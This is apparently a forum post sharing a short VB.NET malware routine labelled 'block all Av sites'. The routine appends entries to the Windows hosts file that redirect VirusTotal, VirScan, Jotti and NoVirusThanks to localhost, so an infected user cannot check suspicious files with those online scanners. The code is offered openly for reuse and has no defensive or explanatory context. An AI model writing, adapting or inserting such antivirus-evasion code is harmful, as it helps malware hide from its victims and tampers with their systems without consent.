[Amin_Mansouri]

کد:

Imports System.IO
Imports System.Reflection
#Region " block all Av sites "
    Public Shared Sub avbloker()
        'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt")
        'objWriter.Write("xfind2")
        'objWriter.Close()


        Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
        Dim sw As New StreamWriter(path, True)
        Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com"
        Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org"
        Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org"
        Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org"
        sw.Write(sitetoblock)
        sw.Write(vbNewLine & sitetoblock1)
        sw.Write(vbNewLine & sitetoblock2)
        sw.Write(vbNewLine & sitetoblock3)
        sw.Close()

      
        End

End Sub
#End Region